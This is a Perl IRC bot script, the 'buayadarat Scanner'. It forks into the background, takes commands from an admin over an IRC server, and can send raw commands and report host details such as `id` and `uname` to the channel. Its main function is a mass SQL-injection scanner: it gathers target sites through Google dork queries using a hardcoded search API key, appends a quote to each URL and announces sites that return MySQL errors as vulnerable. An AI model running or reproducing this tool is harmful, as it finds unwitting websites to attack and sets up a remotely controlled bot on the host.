#!/usr/bin/perl
#################################################
## buayadarat Scanner v1 (still dev)           ##
## Still Sqli Checker Active                   ##
##                                             ##
## Using Google API                            ##
## Register for free and get 100 free search   ##
##                                             ##
#################################################
use IO::Socket::INET6;
use JSON;
use LWP::Simple;
use WWW::Mechanize;
$acak = int(rand(99999)) ;
$botnick = "ScanAPI-BANK$acak";
$realnick = "iScan By buayadarat";
$admin = "buayadarat";
$server = "irc6.chating.id";
$port = "6667";
$basechan = "#devcid";
$kunciwow = "9417023EFA7147C19261BB14FB9244C9";
$hasilwow = "100";
$logo = "\00314,BD\0038\037S\037\00314c\0037a\00315n\003";
$sqlcmd = ".sql1";

##### Don't edit below here. #####
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);

&connect; 
sub connect(){
 $sock = IO::Socket::INET6->new(PeerAddr => $server,
                               PeerPort => $port,
                               Proto => "tcp") or die "Can't connect to $server.\n";
 print $sock "user $botnick $botnick $botnick :$realnick\n";
 print $sock "nick $botnick \n";
 #print "LOG: Connect to Server! \n";
}

##### IRC Stuff. #####
while(<$sock>){
 chomp;
 $line   = $_;
 $backup = $line;
 $line   = lc($line);

if($backup =~ m/^PING :(.*?)$/gi) {
   print $sock "PONG $1 \r\n";
}

if($line=~/376/){
   print $sock "JOIN $basechan \r\n";
 }

if($line=~/^error :closing link:/){
  print "LOG: Connection has been closed, trying to reconnect!...\n";
  &connect;
 }

if($backup=~/^:$admin!(\S+)\@(\S+) PRIVMSG (\S+) :.join (.*).$/){
   my $joinny = $4;
   print $sock "JOIN $joinny \n";
}

if($backup=~/^:$admin!(\S+)\@(\S+) PRIVMSG (\S+) :.part (.*).$/){
   my $partny = $4;
   print $sock "PART $partny \n";
}

if($backup=~/^:$admin!(\S+)\@(\S+) PRIVMSG (\S+) :.raw (.*).$/){
   my $rawny = $4;
   print $sock "$rawny\n";
   print $sock "PRIVMSG $admin :Jalankan Perintah: $rawny \n";
}

if($backup=~/^:$admin!(\S+)\@(\S+) PRIVMSG (\S+) :.sys/){
   my $cpu=`cat /proc/cpuinfo | grep 'model name' | uniq`;
   $cpu =~ tr/a-zA-Z, ://dc;
   my @cpuz = split /:/, $cpu;
   my $ram=`cat /proc/meminfo |  grep "MemTotal"`;
   $ram =~ tr/1-9://dc;
   my @ramz = split /:/, $ram;
   my $core=`cat /proc/cpuinfo | grep processor | wc -l`;
   my $idx=`id`;
   my $uname=`uname -srov`;
   my $uptime=`uptime -p`;
   print $sock "PRIVMSG $basechan :$logo \002Model:\002$cpuz[1] \n";
   print $sock "PRIVMSG $basechan :$logo \002Core:\002 $core \n";
   print $sock "PRIVMSG $basechan :$logo \002RAM:\002 $ramz[1] KB \n";
   print $sock "PRIVMSG $basechan :$logo \002Uptime:\002 $uptime \n";
   print $sock "PRIVMSG $basechan :$logo \002Uname:\002 $uname \n";
   print $sock "PRIVMSG $basechan :$logo \002Uid:\002 $idx \n";
}

&ijoosql;

} #end


sub ijoosql () {
   if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $basechan :$sqlcmd.$/){
	   print $sock "PRIVMSG $basechan :$logo sQLI Scanner!! Syntax: \002.sql\002 <dork> \n";
   }        
   if($backup=~/^:$admin!(\S+)\@(\S+) PRIVMSG (\S+) :$sqlcmd (.*).$/){
	my $d0rkny = $4;
	print $sock "PRIVMSG $basechan :$logo Try SQLi Scan With dork : $d0rkny \n";
	my $engine = "https://api.serpwow.com/live/search?api_key=".$kunciwow."&q=".$d0rkny."&device=mobile&google_domain=google.co.id&gl=id&num=".$hasilwow."&output=json";
	my $ua = LWP::UserAgent->new;
	 $ua->agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0");
	 $ua->timeout(6);
	 $ua->env_proxy;
	my $content = get($engine);
	my $decoded = decode_json($content);
	my @hasilsql = @{ $decoded->{'organic_results'} };
	foreach my $linksql (@hasilsql) {
		sleep(5);
		my $korbansql = $linksql->{'link'};
		my $cobasql = $korbansql."%27";
		if ($cobasql =~ /github.com/ || $cobasql =~ /.wordpress.com/ || $cobasql =~ /stackoverflow.com/ || $cobasql =~ /.google./ || $cobasql =~ /.facebook.com/  || $cobasql =~ /.blogspot./) {
			print "LOG: $cobasql **** Banned Website **** \n";
		} else {
			my $mech  = WWW::Mechanize->new( agent => "Mozilla/5.0 (Linux; Android 10; SM-G970F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3396.81 Mobile Safari/537.36", autocheck => "0" );
			$mech->get( $cobasql );
			my $html = $mech->content;
			if ($mech->success) {
				if($html =~ /SQL syntax/ || $html =~ /mysql_/ ){
					print $sock "PRIVMSG $basechan :$logo \002sQLi\002 eRRor: \037$korbansql\'\037 \n";
				} else {
					#print "LOG: $cobasql **** NOT VULN ****\n";
				}
			} else {
				#print "LOG: " .$mech->status. "\n";
			}
		}
	 }
		print $sock "PRIVMSG $basechan :$logo \002sQLi\002 scan untuk \002$d0rkny\002 Selesai! \n";
    }
}